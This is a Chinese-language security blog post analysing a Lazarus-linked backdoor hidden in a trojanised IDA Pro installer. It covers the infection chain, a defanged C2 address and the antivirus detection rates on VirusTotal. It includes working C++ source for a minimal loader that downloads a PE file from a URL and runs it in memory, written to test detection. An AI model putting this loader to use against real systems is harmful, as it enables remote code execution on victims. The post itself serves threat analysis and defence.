攻击技术研判|从朝鲜APT组织IDA后门样本看低投入高回报的炮灰样本检出率

一、情报背景

2021年11月10日,ESET安全公司在twitter发布了推文称发现被捆绑后门的IDA Pro安装程序,通过分析恶意后门的回连地址被确认是朝鲜APT组织Lazarus在3月份所曝光的的域名。此次发现的样本是即今年初通过社交媒体配合0day漏洞对安全研究人员进行社会工程学攻击之后的延续。

由于本次活动中使用的域名在2021年3月就已经曝光,此后该域名一直无法访问连接,黑鸟的文章(https://mp.weixin.qq.com/s/PGHxVr-RPB8fiMTD35oh1w)也指出在10月份被封的2个twitter账号也均以漏洞研究为噱头吸粉,提高知名度的操作,用户名为mavillon的twitter账号也发布过ida pro 7.6破解版本下载的推文,此次ESET发现被捆绑恶意后门IDA版本为7.5,两次版本并不相同,有理由相信有更多的类似后门可能还未被发现。

IDA是Hex-Rayd公司的一款世界顶级的交互式反汇编工具,被安全研究人员常用于二进制分析逆向等用途。

二、攻击技术分析

被捆绑的原始IDA Pro安装程序带有两个恶意组件win_fw.dll和idahelper.dll。其中win_fw.dll是被攻击者替换的恶意组件,win_fw.dll执行后会创建一个windows计划任务,该计划任务会从IDA插件目录中启动第二个恶意组件idahelper.dll。

一旦启动,idahelper.dll会尝试从https://www[.]devguardmap[.]org/board/board_read.asp?boardid=01下载内存加载执行下一阶段的恶意负载。

之后idahelper.dll样本被上传到virustotal,最初该样本在VT上的查杀率并不高,最新的查杀率已经升级为43/67,说明大多数厂商可能都是进行跟进IOC查杀,对该样本能够主动防御的能力存疑。虽然VT上的检查结果并不能完全代表一个安全软件的整体查杀能力,但还是具有静态查杀能力还是具有一定说服力。

idahelper.dll本身功能非常简单,包含:

1. 异或解密恶意地址,https://www[.]devguardmap[.]org/board/board_read.asp?boardid=01`

2. 通过URLOpenBlockingStreamA下载下一阶段payload

3. 再次异或解密payload

4. 通过内存加载执行恶意的payload载荷,加载过程为PE加载过程,存在明显的对MZ,PE的判断和导入表的解析

其他确认的信息:

  • 不包含pdb信息
  • 文件编译时间为2021-03-10 08:35:41, 符合3月份的域名曝光时间
  • 没有反调试,反沙箱等代码
  • 没有其他更复杂的功能

2.1 重新实现极简idahelper后门

通过对该事件和样本的分析研判,我们认为该样本的所涉及的技术并不复杂且已存在多年,主观来说各大安全厂商对该技术的检测能力应该已经非常成熟,但就本次事件来说,VT检测率并不理想。

出于验证该猜想的目的,我们重写编写了一个极简idahelper后门,使用了和Lazarus相同的技术,甚至比它更简单,仅包含下载并内存执行PE后门。

使用MemoryModule项目作为我们的内存加载PE模块代码。

代码实现如下

#include "pch.h"
#include <Wininet.h>
#include <UrlMon.h>

#include "MemoryModule.h"

extern "C" __declspec(dllexport) HRESULT UrlDownload()
{
    LPCSTR url = "https://www.justatestabcd.com/";
    DeleteUrlCacheEntryA(url);

    LPSTREAM pStream = NULL;
    if (URLOpenBlockingStreamA(NULL, url, &pStream, 0, NULL) == S_OK) {
        STATSTG stastg;
        if (pStream->Stat(&stastg, STATFLAG_NONAME) == S_OK) {
            size_t bufSize = stastg.cbSize.LowPart + 1;
            PCHAR buffer = (PCHAR)LocalAlloc(LPTR, bufSize);
            if (buffer != NULL)
            {
                memset(buffer, 0, bufSize);

                LARGE_INTEGER dlibMove = { 0 };
                pStream->Seek(dlibMove, STREAM_SEEK_SET, NULL);
                pStream->Read(buffer, bufSize, NULL);

                auto mod = MemoryLoadLibrary(buffer, bufSize);
                MemoryCallEntryPoint(mod);
            }
        }
        pStream->Release();
    }
    return S_FALSE;
}

我们将该测试样本上传至VT,正如我们所料,查杀率并不乐观,但Cylance和FireEye等一些厂商等还是能够较好的查杀。

不确定是不是使用的域名无效的原因,国内某威胁情报沙箱的所有查杀引擎均报告为安全,但只看静态分析能力,也很难让人信服(检测结果仅供参考,并不能完全代表各个厂商真正的完整查杀能力)。

三、总结

不仅Lazarus在尝试初始阶段使用炮灰样本以避免其更多攻击武器的暴露,在Solarwinds事件中也能发现简单样本的身影。黑客组织通过构造这种炮灰样本,以小博大,选择以安全研究员作为攻击对象窃取研究成果,而研究员多数也不会在计算机中安装杀软,给了黑客组织攻击的动机和一击就跑的机会。

最后建议大家从正规渠道购买下载安全软件,谨慎使用来源未知的破解软件。附属一张IDA官方对此次事件的回复。

版权声明

本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author

Leave Comment